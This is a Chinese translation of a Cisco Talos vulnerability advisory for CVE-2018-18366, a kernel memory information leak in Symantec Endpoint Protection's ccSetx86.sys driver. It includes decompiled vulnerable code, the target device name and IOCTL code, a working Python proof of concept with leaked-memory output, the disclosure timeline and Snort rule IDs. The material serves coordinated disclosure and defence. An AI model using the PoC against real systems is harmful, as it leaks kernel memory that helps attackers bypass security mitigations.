Symantec终端防护内核内存信息泄漏漏洞分析(CVE-2018-18366)

41yf1sh 漏洞 2019年4月28日发布
Favorite收藏

导语:Cisco Talos在赛门铁克终端防护(Symantec Endpoint Protection)小型企业版的ccSetx86.sys内核驱动中发现了一个信息泄漏漏洞。

概述

Cisco Talos在赛门铁克终端防护(Symantec Endpoint Protection)小型企业版的ccSetx86.sys内核驱动中发现了一个信息泄漏漏洞。该漏洞位于驱动程序的控制消息处理程序中。攻击者可以发送精心制造的请求,使得驱动程序返回未经初始化的内核内存块,从而可能泄漏敏感信息。例如,攻击者可以将该漏洞用于绕过特权令牌或内核内存地址等内核安全缓解方式。非特权用户可以以用户模式运行程序,从而触发这一漏洞。

根据我们的协调披露政策,Talos与Symantec进行了合作,从而确保为该漏洞提供补丁。

漏洞描述

赛门铁克终端防护(Symantec Endpoint Protection)小型企业版的ccSetx86.sys 0x224844位置存在内核内存信息泄漏漏洞(CVE-2018-18366)。特制的IRP请求可能会导致驱动程序返回未初始化的内存,从而导致内核内存泄漏。攻击者可以发送IRP请求来触发此漏洞。

该内核内存泄漏位于IOCTL处理程序中,这是用于16.0.0.77版本驱动程序的“0x224844”驱动代码。攻击者可以通过向ccSet_{F7A725B7-8267-494C-9647-F4FC1D53C6A3}设备发送恶意的IOCTL请求,从而触发该漏洞。设备的默认访问控制,允许系统上的任何用户向驱动程序发送IOCTL请求。

测试版本

Symantec.cloud – Endpoint Protection – NIS-22.14.2.13

Symantec Endpoint Protection Small Business Edition(赛门铁克终端防护小型企业版)ccSetx86.sys(Windows 7 x86)

产品网址

https://www.symantec.com/products/endpoint-smb

CVSSv3分数

4.3 – CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

CWE

CWE-200:信息泄漏

漏洞详情

Symantec Endpoint Protection小型企业版(SEP SBE)是针对小型企业的复杂终端防护解决方案。

本报告适用于使用SEP SBE安装中ccSetx86.sys驱动程序中的漏洞,该漏洞默认情况下处于活动状态。

我们可以通过向ccSet_{F7A725B7-8267-494C-9647-F4FC1D53C6A3}设备中发送IOCTL请求来触发这一漏洞。在这里,我们展示了设备上的默认访问控制,允许系统上的任何用户发送IOCTL请求:

\Device\ccSet_{F7A725B7-8267-494C-9647-F4FC1D53C6A3}
  Type: Device
  RW Everyone
  RW NT AUTHORITY\SYSTEM

我们需要使用ZwOpenFile API,而不是尝试通过CreateFile向该设备打开公开的符号链接,以获取该设备的有效句柄。

内核内存泄漏位于0x224844控制代码的IOCTL处理程序中。易受攻击的函数是:

Line 1  signed int __stdcall sub_8DE2FB98(PIRP irp, int (__stdcall ***a2)(char *, _DWORD *, int *))
Line 2  {
Line 3    ULONG_PTR outLen;
Line 4    stackLocation = irp->Tail.Overlay.CurrentStackLocation;
Line 5    if ( !irp->AssociatedIrp.SystemBuffer
Line 6      || stackLocation->Parameters.DeviceIoControl.InputBufferLength < 2
Line 7      || stackLocation->Parameters.DeviceIoControl.OutputBufferLength < 4 )
Line 8    {
Line 9      return 0xC0000023;
Line 10   }
Line 11   if ( stackLocation->Parameters.DeviceIoControl.IoControlCode & 3 )
Line 12   {
Line 13     (...)
Line 14   }
Line 15   else
Line 16   {
Line 17     outUserBuffer = irp->AssociatedIrp.SystemBuffer;
Line 18   }
Line 19   if ( outUserBuffer )
Line 20   {
Line 21     someConstructor(&v14);
Line 22     v13 = copyString2(
Line 23             &v14,
Line 24             (int)irp->AssociatedIrp.SystemBuffer,
Line 25             stackLocation->Parameters.DeviceIoControl.InputBufferLength,
Line 26             (PWCHAR)&dstStringLen);
Line 27     if ( v13 >= 0 )
Line 28     {
Line 29       outLen = stackLocation->Parameters.DeviceIoControl.OutputBufferLength;
Line 30       v5 = (**v11)((char *)&v14, outUserBuffer, (int *)&outLen);// 8de2fb84
Line 31       if ( v5 >= 0 )
Line 32       {
Line 33         irp->IoStatus.Information = outLen;
Line 34       }
Line 35      
Line 36     (...)

值得一提的是,该漏洞仅在处理过程中使用METHOD_BUFFERED时才会显现。我们在上述代码的第33行看到,如果位于第30行的函数返回一个正值,那么IoStatus.Information字段(表示将从OutputBuffer中的内核模式返回多少字节)将被设置为outLen – OutputBufferLen。位于第29行开头的该变量的值直接来自用户,因此,如果未精确设置outLen变量,那么用户则可以完全控制返回用户模式的字节数。

我们在sub_8DE34328函数中查看outLen变量的处理方式:

Line 1  int __thiscall sub_8DE34328(struct_this_3 *this, char *obj, int outUserBuffer, unsigned int *outLen)
Line 2  {
Line 3  (...)
Line 4
Line 5      outLen_ = *outLen;
Line 6      v12 = v18 + 2;
Line 7      someUnicodeString = v12;
Line 8      if ( outLen_ >= v12 )
Line 9      {
Line 10       if ( _outUserBuffer )
Line 11         returnCode = unicodeCopy((char *)&v17, _outUserBuffer, outLen_, &someUnicodeString);
Line 12       else
Line 13         returnCode = 0xC000000D;
Line 14     }
Line 15     else
Line 16     {
Line 17       *outLen = v12;
Line 18       returnCode = 0xC0000023;
Line 19     }
Line 20 (...)

我们看到,仅当我们没有在第10行传递约束时,outLen才被设置为等于v12的值,并且函数会返回错误。在其他情况下,outLen的值根本不会发生改变,因此用户可以完全控制该值。

由于OutputBuffer尚未在任何地方被请求,并且在此过程中没有检查实际上已经设置为多少字节,因此,随机内核内存将会泄漏到用户空间之中。

漏洞利用概念证明

def test_device():
    deviceName = r"\Device\ccSet_{F7A725B7-8267-494C-9647-F4FC1D53C6A3}"
    ioControl  = 0x224844
    outBuffer  = 0x5566
    str1 = r"\??\c:\TALOS_INSIDE.bin".encode("UTF-16-LE")
    inBuffer =  struct.pack("<I", len(str1)+2)
    inBuffer += str1
 
 
    file('irp.bin','wb').write(inBuffer)
    cmdStr = "DeviceOpen.exe {0} 0x{1:X} {2}".format(deviceName,ioControl,outBuffer)
    print cmdStr
    os.system(cmdStr)
 
//DeviceOpen.exe obtains device handle via ZwOpenFile, read irp.bin file content and pass it as a inputBuffer
 
 
Output:
 
c:\projects\symantec>python test.py
DeviceOpen.exe \Device\ccSet_{F7A725B7-8267-494C-9647-F4FC1D53C6A3} 0x224844 21862
Handle seems to be legit : 0x28
SUCCESS!
0000 : ..\.?.?.\.C.:.\. DE 00 5C 00 3F 00 3F 00 5C 00 43 00 3A 00 5C 00
0010 : P.r.o.g.r.a.m.D. 50 00 72 00 6F 00 67 00 72 00 61 00 6D 00 44 00
0020 : a.t.a.\.S.y.m.a. 61 00 74 00 61 00 5C 00 53 00 79 00 6D 00 61 00
0030 : n.t.e.c...c.l.o. 6E 00 74 00 65 00 63 00 2E 00 63 00 6C 00 6F 00
0040 : u.d.\.{.F.7.A.7. 75 00 64 00 5C 00 7B 00 46 00 37 00 41 00 37 00
0050 : 2.5.B.7.-.8.2.6. 32 00 35 00 42 00 37 00 2D 00 38 00 32 00 36 00
0060 : 7.-.4.9.4.C.-.9. 37 00 2D 00 34 00 39 00 34 00 43 00 2D 00 39 00
0070 : 6.4.7.-.F.4.F.C. 36 00 34 00 37 00 2D 00 46 00 34 00 46 00 43 00
0080 : 1.D.5.3.C.6.A.3. 31 00 44 00 35 00 33 00 43 00 36 00 41 00 33 00
0090 : }.\.C.o.m.m.o.n. 7D 00 5C 00 43 00 6F 00 6D 00 6D 00 6F 00 6E 00
00A0 :  .C.l.i.e.n.t.\. 20 00 43 00 6C 00 69 00 65 00 6E 00 74 00 5C 00
00B0 : c.c.S.e.t.M.g.r. 63 00 63 00 53 00 65 00 74 00 4D 00 67 00 72 00
00C0 : \.s.y.m.S.e.t.t. 5C 00 73 00 79 00 6D 00 53 00 65 00 74 00 74 00
00D0 : i.n.g.s...d.a.t. 69 00 6E 00 67 00 73 00 2E 00 64 00 61 00 74 00
00E0 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00F0 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0100 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0110 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0120 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0130 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0140 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0150 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
(...)
3300 : e...........f... 65 01 00 00 82 01 00 00 03 01 C0 F8 66 01 00 00
3310 : ........g....... 92 01 00 00 03 01 C0 F8 67 01 00 00 9A 01 00 00
3320 : ....h........... 03 01 C0 F8 68 01 00 00 A2 01 00 00 03 01 C0 F8
3330 : i...........j... 69 01 00 00 AA 01 00 00 03 01 C0 F8 6A 01 00 00
3340 : ........k....... B2 01 00 00 03 01 C0 F8 6B 01 00 00 BA 01 00 00
3350 : ....l........... 03 01 C0 F8 6C 01 00 00 C2 01 00 00 03 01 C0 F8
3360 : m...........n... 6D 01 00 00 D2 01 00 00 03 01 C0 F8 6E 01 00 00
3370 : ........o....... DA 01 00 00 03 01 C0 F8 6F 01 00 00 0A 02 00 00
3380 : ....p........... 03 01 C0 F8 70 01 00 00 12 02 00 00 03 01 C0 F8
3390 : q...........r... 71 01 00 00 1A 02 00 00 03 01 C0 F8 72 01 00 00
33A0 : ".......s...*... 22 02 00 00 03 01 C0 F8 73 01 00 00 2A 02 00 00
33B0 : ....t...2....... 03 01 C0 F8 74 01 00 00 32 02 00 00 03 01 C0 F8
33C0 : u...:.......v... 75 01 00 00 3A 02 00 00 03 01 C0 F8 76 01 00 00
33D0 : B.......w...J... 42 02 00 00 03 01 C0 F8 77 01 00 00 4A 02 00 00
33E0 : ....x...R....... 03 01 C0 F8 78 01 00 00 52 02 00 00 03 01 C0 F8
33F0 : y...Z.......z... 79 01 00 00 5A 02 00 00 03 01 C0 F8 7A 01 00 00
3400 : b.......{...j... 62 02 00 00 03 01 C0 F8 7B 01 00 00 6A 02 00 00
3410 : ....|...q....... 03 01 C0 F8 7C 01 00 00 71 02 00 00 03 01 C0 F8
3420 : }...y.......~... 7D 01 00 00 79 02 00 00 03 01 C0 F8 7E 01 00 00
3430 : ........⌂....... A1 02 00 00 03 01 C0 F8 7F 01 00 00 A9 02 00 00
3440 : ................ 03 01 C0 F8 80 01 00 00 B9 02 00 00 03 01 C0 F8
3450 : ................ 81 01 00 00 C1 02 00 00 03 01 C0 F8 82 01 00 00
3460 : ................ C9 02 00 00 03 01 C0 F8 83 01 00 00 CD 02 00 00
3470 : ................ 03 01 C0 F8 84 01 00 00 D0 02 00 00 08 01 80 FF
3480 : ................ 85 01 00 00 D5 02 00 00 03 01 C0 F8 86 01 00 00
3490 : ................ D8 02 00 00 08 01 80 FF 87 01 00 00 E0 02 00 00
34A0 : ................ 08 01 80 FF 88 01 00 00 E8 02 00 00 08 01 80 FF
34B0 : ............\.D. FF FF FF FF F0 02 00 00 08 01 80 FF 5C 00 44 00
34C0 : E.V.I.C.E.\.H.A. 45 00 56 00 49 00 43 00 45 00 5C 00 48 00 41 00
34D0 : R.D.D.I.S.K.V.O. 52 00 44 00 44 00 49 00 53 00 4B 00 56 00 4F 00
34E0 : L.U.M.E.1.\.W.I. 4C 00 55 00 4D 00 45 00 31 00 5C 00 57 00 49 00
34F0 : N.D.O.W.S.\.S.Y. 4E 00 44 00 4F 00 57 00 53 00 5C 00 53 00 59 00
3500 : S.T.E.M.3.2.\.N. 53 00 54 00 45 00 4D 00 33 00 32 00 5C 00 4E 00
3510 : T.D.L.L...D.L.L. 54 00 44 00 4C 00 4C 00 2E 00 44 00 4C 00 4C 00
3520 : ..\.D.E.V.I.C.E. 00 00 5C 00 44 00 45 00 56 00 49 00 43 00 45 00
3530 : \.H.A.R.D.D.I.S. 5C 00 48 00 41 00 52 00 44 00 44 00 49 00 53 00
3540 : K.V.O.L.U.M.E.1. 4B 00 56 00 4F 00 4C 00 55 00 4D 00 45 00 31 00
3550 : \.W.I.N.D.O.W.S. 5C 00

时间节点

· 2018年10月23日  向厂商披露

· 2018年11月2日  厂商确认漏洞存在

· 2018年12月4日  在30天后跟进漏洞修复进展

· 2019年2月11日  厂商分配了CVE编号

· 2019年4月23日  公开发布

漏洞发现者

Cisco Talos团队的Marcin 'Icewall' Noga

检测规则

以下SNORT规则将检测该漏洞的利用尝试。需要注意的是,可能会在未来某个日期发布其他规则,并且根据其他漏洞信息的补充,当前规则可能会发生更改。有关最新的规则信息,可以参阅Firepower管理中心,或访问Snort.org。

Snort规则:48209、48210。

本文翻译自:https://talosintelligence.com/vulnerability_reports/TALOS-2018-0693如若转载,请注明原文地址: https://www.4hou.com/vulnerable/17699.html
点赞 2
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论